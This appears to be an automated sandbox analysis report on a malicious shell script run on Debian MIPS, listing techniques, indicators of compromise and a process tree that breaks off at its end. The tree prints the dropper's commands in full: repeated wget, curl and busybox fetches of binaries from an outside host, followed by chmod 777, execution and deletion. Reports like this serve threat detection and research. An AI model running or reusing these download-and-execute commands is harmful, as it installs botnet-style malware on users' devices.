e22c1f5ad05d87a6a1e1748ed0f0a6fc5847dc258a92b49a928b9b34c6442940

Analysis

max time kernel
94s
max time network
97s
platform
debian-9_mips
resource
debian9-mipsbe-20240418-en
resource tags

arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
18/11/2024, 01:01

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
715cf72a86e0e373965749d33b0c647cf56f96d0f724b2fa6ebe4fcd5d245c2b.sh
Size 10KB
Sample241118-bdhlhatgpg
SHA256 715cf72a86e0e373965749d33b0c647cf56f96d0f724b2fa6ebe4fcd5d245c2b
MD5 14759c0807b68670084504785d46b2c4
SHA1 7f78698f0065915dbeb4005eb70b08518954a8d6
SHA512 e85c1887b67d68edbea152abc9c57332e54dd3725995cd18f94ee1984097819ba5c6e4c86bd62015370638793f6269d22a9f603c0983a6d1ee0fd1db5fb90668
SSDEEP 192:BmqtcsF4ttOHrUNIuGumujucuAuXTnmttxJlU/XKLT88ttOHduGumujucuAuLTnh:BmqtcsF4ttOHrUNIuGumujucuAuw/88i
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
987	chmod
820	chmod
945	chmod
924	chmod
952	chmod
980	chmod
883	chmod
896	chmod
931	chmod
994	chmod
1008	chmod
903	chmod
973	chmod
917	chmod
769	chmod
791	chmod
910	chmod
1001	chmod
776	chmod
1036	chmod
842	chmod
1029	chmod
959	chmod
966	chmod
1015	chmod
1022	chmod
856	chmod
938	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 64 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1028	busybox
755	curl
913	wget
914	curl
977	curl
979	busybox
921	curl
970	curl
986	busybox
747	wget
845	wget
846	curl
851	busybox
893	curl
1012	curl
887	wget
916	busybox
923	busybox
948	wget
1000	busybox
826	wget
942	curl
1035	busybox
984	curl
1007	busybox
1021	busybox
780	curl
839	curl
895	busybox
928	curl
937	busybox
868	curl
927	wget
941	wget
956	curl
998	curl
909	busybox
1018	wget
1025	wget
1026	curl
990	wget
997	wget
779	wget
796	wget
805	curl
930	busybox
955	wget
907	curl
1014	busybox
1033	curl
764	busybox
902	busybox
935	curl
991	curl
993	busybox
1004	wget
813	busybox
879	busybox
958	busybox
962	wget
963	curl
944	busybox
949	curl
965	busybox

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/ibd4KEFLDFri3YcN4rzbKvcprJSZrwblWL	curl
File opened for modification	/tmp/GqBagoMChGfE2y0Jul524TSXfKPOQ3YYAU	curl
File opened for modification	/tmp/go0H3u6yNPaOEcud6oCJ4cOtsmcU6Hc0eA	curl
File opened for modification	/tmp/R9BXv0rUQ5hY8QHwZEx4aRyjb3TXwUfrai	curl
File opened for modification	/tmp/ibd4KEFLDFri3YcN4rzbKvcprJSZrwblWL	curl
File opened for modification	/tmp/vgDCBFutrJnDM844rxSU8jlWbiKUjwFTUh	curl
File opened for modification	/tmp/v03qleEOhpxlmApBzmD8CkrvLbqsesX2eE	curl
File opened for modification	/tmp/vgDCBFutrJnDM844rxSU8jlWbiKUjwFTUh	curl
File opened for modification	/tmp/rOdrx3y77pd6ykNJJD4QM7emEEH21b9SmN	curl
File opened for modification	/tmp/LQp1B2XCMAHBNpEkl6qyq7DsEBaG9UjURQ	curl
File opened for modification	/tmp/Ocie2yW4GdaK3VHURKYcQJhsZWEFAe4YVw	curl
File opened for modification	/tmp/TEwgZGFqW8JKgiJFLyop2P8B85z5APcj5n	curl
File opened for modification	/tmp/v03qleEOhpxlmApBzmD8CkrvLbqsesX2eE	curl
File opened for modification	/tmp/R9BXv0rUQ5hY8QHwZEx4aRyjb3TXwUfrai	curl
File opened for modification	/tmp/TEwgZGFqW8JKgiJFLyop2P8B85z5APcj5n	curl
File opened for modification	/tmp/3PdvXU7UGMql9qJ2Shiam4H1HooElEofbR	curl
File opened for modification	/tmp/go0H3u6yNPaOEcud6oCJ4cOtsmcU6Hc0eA	curl
File opened for modification	/tmp/GqBagoMChGfE2y0Jul524TSXfKPOQ3YYAU	curl
File opened for modification	/tmp/X631b8CSSYfYEcABJN28OgyYGyp8Jm5n65	curl
File opened for modification	/tmp/gMpT78RIF0el0OBRqR106C6jNnXEMxTTva	curl
File opened for modification	/tmp/rOdrx3y77pd6ykNJJD4QM7emEEH21b9SmN	curl
File opened for modification	/tmp/X631b8CSSYfYEcABJN28OgyYGyp8Jm5n65	curl
File opened for modification	/tmp/LQp1B2XCMAHBNpEkl6qyq7DsEBaG9UjURQ	curl
File opened for modification	/tmp/jIZyCWCUft6OCnZ06LXXEz3vUUaSMVTxW2	curl
File opened for modification	/tmp/3PdvXU7UGMql9qJ2Shiam4H1HooElEofbR	curl
File opened for modification	/tmp/jIZyCWCUft6OCnZ06LXXEz3vUUaSMVTxW2	curl
File opened for modification	/tmp/gMpT78RIF0el0OBRqR106C6jNnXEMxTTva	curl
File opened for modification	/tmp/Ocie2yW4GdaK3VHURKYcQJhsZWEFAe4YVw	curl

/tmp/715cf72a86e0e373965749d33b0c647cf56f96d0f724b2fa6ebe4fcd5d245c2b.sh
/tmp/715cf72a86e0e373965749d33b0c647cf56f96d0f724b2fa6ebe4fcd5d245c2b.sh
1⤵
PID:737
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:741
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/GqBagoMChGfE2y0Jul524TSXfKPOQ3YYAU
  2⤵
  - System Network Configuration Discovery
  PID:747
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/GqBagoMChGfE2y0Jul524TSXfKPOQ3YYAU
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:755
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/GqBagoMChGfE2y0Jul524TSXfKPOQ3YYAU
  2⤵
  - System Network Configuration Discovery
  PID:764
- /bin/chmod
  chmod 777 GqBagoMChGfE2y0Jul524TSXfKPOQ3YYAU
  2⤵
  - File and Directory Permissions Modification
  PID:769
- /tmp/GqBagoMChGfE2y0Jul524TSXfKPOQ3YYAU
  ./GqBagoMChGfE2y0Jul524TSXfKPOQ3YYAU
  2⤵
  - Executes dropped EXE
  PID:770
- /bin/rm
  rm GqBagoMChGfE2y0Jul524TSXfKPOQ3YYAU
  2⤵
  PID:771
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/ibd4KEFLDFri3YcN4rzbKvcprJSZrwblWL
  2⤵
  PID:772
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/ibd4KEFLDFri3YcN4rzbKvcprJSZrwblWL
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:773
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/ibd4KEFLDFri3YcN4rzbKvcprJSZrwblWL
  2⤵
  PID:775
- /bin/chmod
  chmod 777 ibd4KEFLDFri3YcN4rzbKvcprJSZrwblWL
  2⤵
  - File and Directory Permissions Modification
  PID:776
- /tmp/ibd4KEFLDFri3YcN4rzbKvcprJSZrwblWL
  ./ibd4KEFLDFri3YcN4rzbKvcprJSZrwblWL
  2⤵
  - Executes dropped EXE
  PID:777
- /bin/rm
  rm ibd4KEFLDFri3YcN4rzbKvcprJSZrwblWL
  2⤵
  PID:778
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/jIZyCWCUft6OCnZ06LXXEz3vUUaSMVTxW2
  2⤵
  - System Network Configuration Discovery
  PID:779
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/jIZyCWCUft6OCnZ06LXXEz3vUUaSMVTxW2
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:780
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/jIZyCWCUft6OCnZ06LXXEz3vUUaSMVTxW2
  2⤵
  PID:788
- /bin/chmod
  chmod 777 jIZyCWCUft6OCnZ06LXXEz3vUUaSMVTxW2
  2⤵
  - File and Directory Permissions Modification
  PID:791
- /tmp/jIZyCWCUft6OCnZ06LXXEz3vUUaSMVTxW2
  ./jIZyCWCUft6OCnZ06LXXEz3vUUaSMVTxW2
  2⤵
  - Executes dropped EXE
  PID:792
- /bin/rm
  rm jIZyCWCUft6OCnZ06LXXEz3vUUaSMVTxW2
  2⤵
  PID:795
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/X631b8CSSYfYEcABJN28OgyYGyp8Jm5n65
  2⤵
  - System Network Configuration Discovery
  PID:796
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/X631b8CSSYfYEcABJN28OgyYGyp8Jm5n65
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:805
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/X631b8CSSYfYEcABJN28OgyYGyp8Jm5n65
  2⤵
  - System Network Configuration Discovery
  PID:813
- /bin/chmod
  chmod 777 X631b8CSSYfYEcABJN28OgyYGyp8Jm5n65
  2⤵
  - File and Directory Permissions Modification
  PID:820
- /tmp/X631b8CSSYfYEcABJN28OgyYGyp8Jm5n65
  ./X631b8CSSYfYEcABJN28OgyYGyp8Jm5n65
  2⤵
  - Executes dropped EXE
  PID:822
- /bin/rm
  rm X631b8CSSYfYEcABJN28OgyYGyp8Jm5n65
  2⤵
  PID:824
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/gMpT78RIF0el0OBRqR106C6jNnXEMxTTva
  2⤵
  - System Network Configuration Discovery
  PID:826
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/gMpT78RIF0el0OBRqR106C6jNnXEMxTTva
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:839
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/gMpT78RIF0el0OBRqR106C6jNnXEMxTTva
  2⤵
  PID:841
- /bin/chmod
  chmod 777 gMpT78RIF0el0OBRqR106C6jNnXEMxTTva
  2⤵
  - File and Directory Permissions Modification
  PID:842
- /tmp/gMpT78RIF0el0OBRqR106C6jNnXEMxTTva
  ./gMpT78RIF0el0OBRqR106C6jNnXEMxTTva
  2⤵
  - Executes dropped EXE
  PID:843
- /bin/rm
  rm gMpT78RIF0el0OBRqR106C6jNnXEMxTTva
  2⤵
  PID:844
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/3PdvXU7UGMql9qJ2Shiam4H1HooElEofbR
  2⤵
  - System Network Configuration Discovery
  PID:845
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/3PdvXU7UGMql9qJ2Shiam4H1HooElEofbR
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:846
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/3PdvXU7UGMql9qJ2Shiam4H1HooElEofbR
  2⤵
  - System Network Configuration Discovery
  PID:851
- /bin/chmod
  chmod 777 3PdvXU7UGMql9qJ2Shiam4H1HooElEofbR
  2⤵
  - File and Directory Permissions Modification
  PID:856
- /tmp/3PdvXU7UGMql9qJ2Shiam4H1HooElEofbR
  ./3PdvXU7UGMql9qJ2Shiam4H1HooElEofbR
  2⤵
  - Executes dropped EXE
  PID:858
- /bin/rm
  rm 3PdvXU7UGMql9qJ2Shiam4H1HooElEofbR
  2⤵
  PID:862
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/LQp1B2XCMAHBNpEkl6qyq7DsEBaG9UjURQ
  2⤵
  PID:863
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/LQp1B2XCMAHBNpEkl6qyq7DsEBaG9UjURQ
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:868
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/LQp1B2XCMAHBNpEkl6qyq7DsEBaG9UjURQ
  2⤵
  - System Network Configuration Discovery
  PID:879
- /bin/chmod
  chmod 777 LQp1B2XCMAHBNpEkl6qyq7DsEBaG9UjURQ
  2⤵
  - File and Directory Permissions Modification
  PID:883
- /tmp/LQp1B2XCMAHBNpEkl6qyq7DsEBaG9UjURQ
  ./LQp1B2XCMAHBNpEkl6qyq7DsEBaG9UjURQ
  2⤵
  - Executes dropped EXE
  PID:884
- /bin/rm
  rm LQp1B2XCMAHBNpEkl6qyq7DsEBaG9UjURQ
  2⤵
  PID:885
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/vgDCBFutrJnDM844rxSU8jlWbiKUjwFTUh
  2⤵
  - System Network Configuration Discovery
  PID:887
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/vgDCBFutrJnDM844rxSU8jlWbiKUjwFTUh
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:893
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/vgDCBFutrJnDM844rxSU8jlWbiKUjwFTUh
  2⤵
  - System Network Configuration Discovery
  PID:895
- /bin/chmod
  chmod 777 vgDCBFutrJnDM844rxSU8jlWbiKUjwFTUh
  2⤵
  - File and Directory Permissions Modification
  PID:896
- /tmp/vgDCBFutrJnDM844rxSU8jlWbiKUjwFTUh
  ./vgDCBFutrJnDM844rxSU8jlWbiKUjwFTUh
  2⤵
  - Executes dropped EXE
  PID:897
- /bin/rm
  rm vgDCBFutrJnDM844rxSU8jlWbiKUjwFTUh
  2⤵
  PID:898
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/rOdrx3y77pd6ykNJJD4QM7emEEH21b9SmN
  2⤵
  PID:899
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/rOdrx3y77pd6ykNJJD4QM7emEEH21b9SmN
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:900
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/rOdrx3y77pd6ykNJJD4QM7emEEH21b9SmN
  2⤵
  - System Network Configuration Discovery
  PID:902
- /bin/chmod
  chmod 777 rOdrx3y77pd6ykNJJD4QM7emEEH21b9SmN
  2⤵
  - File and Directory Permissions Modification
  PID:903
- /tmp/rOdrx3y77pd6ykNJJD4QM7emEEH21b9SmN
  ./rOdrx3y77pd6ykNJJD4QM7emEEH21b9SmN
  2⤵
  - Executes dropped EXE
  PID:904
- /bin/rm
  rm rOdrx3y77pd6ykNJJD4QM7emEEH21b9SmN
  2⤵
  PID:905
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Ocie2yW4GdaK3VHURKYcQJhsZWEFAe4YVw
  2⤵
  PID:906
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Ocie2yW4GdaK3VHURKYcQJhsZWEFAe4YVw
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:907
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Ocie2yW4GdaK3VHURKYcQJhsZWEFAe4YVw
  2⤵
  - System Network Configuration Discovery
  PID:909
- /bin/chmod
  chmod 777 Ocie2yW4GdaK3VHURKYcQJhsZWEFAe4YVw
  2⤵
  - File and Directory Permissions Modification
  PID:910
- /tmp/Ocie2yW4GdaK3VHURKYcQJhsZWEFAe4YVw
  ./Ocie2yW4GdaK3VHURKYcQJhsZWEFAe4YVw
  2⤵
  - Executes dropped EXE
  PID:911
- /bin/rm
  rm Ocie2yW4GdaK3VHURKYcQJhsZWEFAe4YVw
  2⤵
  PID:912
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/R9BXv0rUQ5hY8QHwZEx4aRyjb3TXwUfrai
  2⤵
  - System Network Configuration Discovery
  PID:913
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/R9BXv0rUQ5hY8QHwZEx4aRyjb3TXwUfrai
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:914
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/R9BXv0rUQ5hY8QHwZEx4aRyjb3TXwUfrai
  2⤵
  - System Network Configuration Discovery
  PID:916
- /bin/chmod
  chmod 777 R9BXv0rUQ5hY8QHwZEx4aRyjb3TXwUfrai
  2⤵
  - File and Directory Permissions Modification
  PID:917
- /tmp/R9BXv0rUQ5hY8QHwZEx4aRyjb3TXwUfrai
  ./R9BXv0rUQ5hY8QHwZEx4aRyjb3TXwUfrai
  2⤵
  - Executes dropped EXE
  PID:918
- /bin/rm
  rm R9BXv0rUQ5hY8QHwZEx4aRyjb3TXwUfrai
  2⤵
  PID:919
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/go0H3u6yNPaOEcud6oCJ4cOtsmcU6Hc0eA
  2⤵
  PID:920
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/go0H3u6yNPaOEcud6oCJ4cOtsmcU6Hc0eA
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:921
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/go0H3u6yNPaOEcud6oCJ4cOtsmcU6Hc0eA
  2⤵
  - System Network Configuration Discovery
  PID:923
- /bin/chmod
  chmod 777 go0H3u6yNPaOEcud6oCJ4cOtsmcU6Hc0eA
  2⤵
  - File and Directory Permissions Modification
  PID:924
- /tmp/go0H3u6yNPaOEcud6oCJ4cOtsmcU6Hc0eA
  ./go0H3u6yNPaOEcud6oCJ4cOtsmcU6Hc0eA
  2⤵
  - Executes dropped EXE
  PID:925
- /bin/rm
  rm go0H3u6yNPaOEcud6oCJ4cOtsmcU6Hc0eA
  2⤵
  PID:926
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/TEwgZGFqW8JKgiJFLyop2P8B85z5APcj5n
  2⤵
  - System Network Configuration Discovery
  PID:927
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/TEwgZGFqW8JKgiJFLyop2P8B85z5APcj5n
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:928
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/TEwgZGFqW8JKgiJFLyop2P8B85z5APcj5n
  2⤵
  - System Network Configuration Discovery
  PID:930
- /bin/chmod
  chmod 777 TEwgZGFqW8JKgiJFLyop2P8B85z5APcj5n
  2⤵
  - File and Directory Permissions Modification
  PID:931
- /tmp/TEwgZGFqW8JKgiJFLyop2P8B85z5APcj5n
  ./TEwgZGFqW8JKgiJFLyop2P8B85z5APcj5n
  2⤵
  - Executes dropped EXE
  PID:932
- /bin/rm
  rm TEwgZGFqW8JKgiJFLyop2P8B85z5APcj5n
  2⤵
  PID:933
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/v03qleEOhpxlmApBzmD8CkrvLbqsesX2eE
  2⤵
  PID:934
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/v03qleEOhpxlmApBzmD8CkrvLbqsesX2eE
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:935
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/v03qleEOhpxlmApBzmD8CkrvLbqsesX2eE
  2⤵
  - System Network Configuration Discovery
  PID:937
- /bin/chmod
  chmod 777 v03qleEOhpxlmApBzmD8CkrvLbqsesX2eE
  2⤵
  - File and Directory Permissions Modification
  PID:938
- /tmp/v03qleEOhpxlmApBzmD8CkrvLbqsesX2eE
  ./v03qleEOhpxlmApBzmD8CkrvLbqsesX2eE
  2⤵
  - Executes dropped EXE
  PID:939
- /bin/rm
  rm v03qleEOhpxlmApBzmD8CkrvLbqsesX2eE
  2⤵
  PID:940
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/jIZyCWCUft6OCnZ06LXXEz3vUUaSMVTxW2
  2⤵
  - System Network Configuration Discovery
  PID:941
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/jIZyCWCUft6OCnZ06LXXEz3vUUaSMVTxW2
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:942
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/jIZyCWCUft6OCnZ06LXXEz3vUUaSMVTxW2
  2⤵
  - System Network Configuration Discovery
  PID:944
- /bin/chmod
  chmod 777 jIZyCWCUft6OCnZ06LXXEz3vUUaSMVTxW2
  2⤵
  - File and Directory Permissions Modification
  PID:945
- /tmp/jIZyCWCUft6OCnZ06LXXEz3vUUaSMVTxW2
  ./jIZyCWCUft6OCnZ06LXXEz3vUUaSMVTxW2
  2⤵
  - Executes dropped EXE
  PID:946
- /bin/rm
  rm jIZyCWCUft6OCnZ06LXXEz3vUUaSMVTxW2
  2⤵
  PID:947
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/X631b8CSSYfYEcABJN28OgyYGyp8Jm5n65
  2⤵
  - System Network Configuration Discovery
  PID:948
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/X631b8CSSYfYEcABJN28OgyYGyp8Jm5n65
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:949
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/X631b8CSSYfYEcABJN28OgyYGyp8Jm5n65
  2⤵
  PID:951
- /bin/chmod
  chmod 777 X631b8CSSYfYEcABJN28OgyYGyp8Jm5n65
  2⤵
  - File and Directory Permissions Modification
  PID:952
- /tmp/X631b8CSSYfYEcABJN28OgyYGyp8Jm5n65
  ./X631b8CSSYfYEcABJN28OgyYGyp8Jm5n65
  2⤵
  - Executes dropped EXE
  PID:953
- /bin/rm
  rm X631b8CSSYfYEcABJN28OgyYGyp8Jm5n65
  2⤵
  PID:954
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/gMpT78RIF0el0OBRqR106C6jNnXEMxTTva
  2⤵
  - System Network Configuration Discovery
  PID:955
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/gMpT78RIF0el0OBRqR106C6jNnXEMxTTva
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:956
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/gMpT78RIF0el0OBRqR106C6jNnXEMxTTva
  2⤵
  - System Network Configuration Discovery
  PID:958
- /bin/chmod
  chmod 777 gMpT78RIF0el0OBRqR106C6jNnXEMxTTva
  2⤵
  - File and Directory Permissions Modification
  PID:959
- /tmp/gMpT78RIF0el0OBRqR106C6jNnXEMxTTva
  ./gMpT78RIF0el0OBRqR106C6jNnXEMxTTva
  2⤵
  - Executes dropped EXE
  PID:960
- /bin/rm
  rm gMpT78RIF0el0OBRqR106C6jNnXEMxTTva
  2⤵
  PID:961
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/3PdvXU7UGMql9qJ2Shiam4H1HooElEofbR
  2⤵
  - System Network Configuration Discovery
  PID:962
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/3PdvXU7UGMql9qJ2Shiam4H1HooElEofbR
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:963
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/3PdvXU7UGMql9qJ2Shiam4H1HooElEofbR
  2⤵
  - System Network Configuration Discovery
  PID:965
- /bin/chmod
  chmod 777 3PdvXU7UGMql9qJ2Shiam4H1HooElEofbR
  2⤵
  - File and Directory Permissions Modification
  PID:966
- /tmp/3PdvXU7UGMql9qJ2Shiam4H1HooElEofbR
  ./3PdvXU7UGMql9qJ2Shiam4H1HooElEofbR
  2⤵
  - Executes dropped EXE
  PID:967
- /bin/rm
  rm 3PdvXU7UGMql9qJ2Shiam4H1HooElEofbR
  2⤵
  PID:968
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/LQp1B2XCMAHBNpEkl6qyq7DsEBaG9UjURQ
  2⤵
  PID:969
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/LQp1B2XCMAHBNpEkl6qyq7DsEBaG9UjURQ
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:970
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/LQp1B2XCMAHBNpEkl6qyq7DsEBaG9UjURQ
  2⤵
  PID:972
- /bin/chmod
  chmod 777 LQp1B2XCMAHBNpEkl6qyq7DsEBaG9UjURQ
  2⤵
  - File and Directory Permissions Modification
  PID:973
- /tmp/LQp1B2XCMAHBNpEkl6qyq7DsEBaG9UjURQ
  ./LQp1B2XCMAHBNpEkl6qyq7DsEBaG9UjURQ
  2⤵
  - Executes dropped EXE
  PID:974
- /bin/rm
  rm LQp1B2XCMAHBNpEkl6qyq7DsEBaG9UjURQ
  2⤵
  PID:975
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/vgDCBFutrJnDM844rxSU8jlWbiKUjwFTUh
  2⤵
  PID:976
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/vgDCBFutrJnDM844rxSU8jlWbiKUjwFTUh
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:977
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/vgDCBFutrJnDM844rxSU8jlWbiKUjwFTUh
  2⤵
  - System Network Configuration Discovery
  PID:979
- /bin/chmod
  chmod 777 vgDCBFutrJnDM844rxSU8jlWbiKUjwFTUh
  2⤵
  - File and Directory Permissions Modification
  PID:980
- /tmp/vgDCBFutrJnDM844rxSU8jlWbiKUjwFTUh
  ./vgDCBFutrJnDM844rxSU8jlWbiKUjwFTUh
  2⤵
  - Executes dropped EXE
  PID:981
- /bin/rm
  rm vgDCBFutrJnDM844rxSU8jlWbiKUjwFTUh
  2⤵
  PID:982
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/rOdrx3y77pd6ykNJJD4QM7emEEH21b9SmN
  2⤵
  PID:983
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/rOdrx3y77pd6ykNJJD4QM7emEEH21b9SmN
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:984
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/rOdrx3y77pd6ykNJJD4QM7emEEH21b9SmN
  2⤵
  - System Network Configuration Discovery
  PID:986
- /bin/chmod
  chmod 777 rOdrx3y77pd6ykNJJD4QM7emEEH21b9SmN
  2⤵
  - File and Directory Permissions Modification
  PID:987
- /tmp/rOdrx3y77pd6ykNJJD4QM7emEEH21b9SmN
  ./rOdrx3y77pd6ykNJJD4QM7emEEH21b9SmN
  2⤵
  - Executes dropped EXE
  PID:988
- /bin/rm
  rm rOdrx3y77pd6ykNJJD4QM7emEEH21b9SmN
  2⤵
  PID:989
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Ocie2yW4GdaK3VHURKYcQJhsZWEFAe4YVw
  2⤵
  - System Network Configuration Discovery
  PID:990
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Ocie2yW4GdaK3VHURKYcQJhsZWEFAe4YVw
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:991
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Ocie2yW4GdaK3VHURKYcQJhsZWEFAe4YVw
  2⤵
  - System Network Configuration Discovery
  PID:993
- /bin/chmod
  chmod 777 Ocie2yW4GdaK3VHURKYcQJhsZWEFAe4YVw
  2⤵
  - File and Directory Permissions Modification
  PID:994
- /tmp/Ocie2yW4GdaK3VHURKYcQJhsZWEFAe4YVw
  ./Ocie2yW4GdaK3VHURKYcQJhsZWEFAe4YVw
  2⤵
  - Executes dropped EXE
  PID:995
- /bin/rm
